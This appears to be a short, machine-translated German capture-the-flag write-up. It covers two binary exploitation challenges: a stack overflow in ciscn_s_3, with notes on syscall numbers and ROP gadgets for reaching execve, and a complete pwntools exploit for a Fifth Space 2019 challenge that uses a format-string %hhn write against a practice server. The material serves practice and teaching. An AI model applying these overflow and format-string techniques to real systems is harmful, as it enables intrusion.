Umkehren
int __cdecl main(int argc, const char **argv, const char **envp)
{
return vuln();
}
signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
v0 = sys_read(0, buf, 0x400uLL);
return sys_write(1u, buf, 0x30uLL);
}
Angriffsideen
(1) Rufnummer: Die Rufnummer von sys_read ist 0, die Rufnummer von sys_write ist 1 und die Rufnummer von sys_execve ist 59
mov rax, 3bh ist der Systemaufruf sys_execve
Drücken Sie im IDA-Fenster Alt+T, um nach der Anweisung „mov rax,3bh“ zu suchen und den Speicherort der Anweisung unter 0x4004E2 zu finden
Hinweis (neuer Wissenspunkt): Die Funktion _libc_csu_init ist eine Funktion, mit der das Programm die libc-Bibliothek aufruft, um das Programm zu initialisieren. Sie wird im Allgemeinen vor der Hauptfunktion ausgeführt.
(2)objdump -S ciscn_s_3
Suchen Sie die Adresse mit 6 Pop-Anweisungen bei 0x40059a
[Finale des Fifth Space 2019]PWN5
from pwn import *
p=remote('node4.buuoj.cn',27963)
payload=p32(0x804C044)+p32(0x804C045)+p32(0x804C046)+p32(0x804C047)+b'%16x%16x%16x%16x'+b'%10$hhn%11$hhn%12$hhn%13$hhn'
p.sendline(payload)
payload=str(0x50505050)
p.sendline(payload)
p.interactive()